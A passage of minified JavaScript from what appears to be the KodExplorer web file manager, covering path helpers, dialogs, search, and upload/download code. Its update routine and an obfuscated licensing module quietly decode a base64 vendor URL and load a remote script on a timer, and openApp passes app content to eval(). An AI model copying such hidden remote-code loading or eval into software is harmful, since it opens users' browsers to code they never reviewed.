,json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(i[0],t)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var i=e.match(/\{.*\}/);return i[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t='
    '+i+"
    ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,i){var t="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(t="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof i&&i(e.data.content)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
    loading..
    ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
    "+"
    "+s+"
    "+"
    "},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
  • \n
    \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
    \n
      \n {{each v.search_info as value index}}\n
    • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
    • \n {{/each}}\n
    \n
  • \n {{else}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
    \n \n
    \n
    \n
    \n
    {{LNG.upload_select}}
    \n \n \n \n
    \n \n
    \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    {{LNG.download_address}}\n
    \n \n \n \n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n'),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0; -template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,''+i+"");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+''+e.substr(t,i.length)+""+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(search_list_tpl);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&t.html(""+LNG.seach_result_too_more+"")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
    '+'
    '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
    ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
    ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info)):p.addClass("error").text(e.data),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;i=core.fileSize(a)+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","0%"),p.text(LNG.loading);else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")")}d.find(".size").text(core.fileSize(t.length)),d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){v(),s=setInterval(function(){v()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(upload_tpl),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else 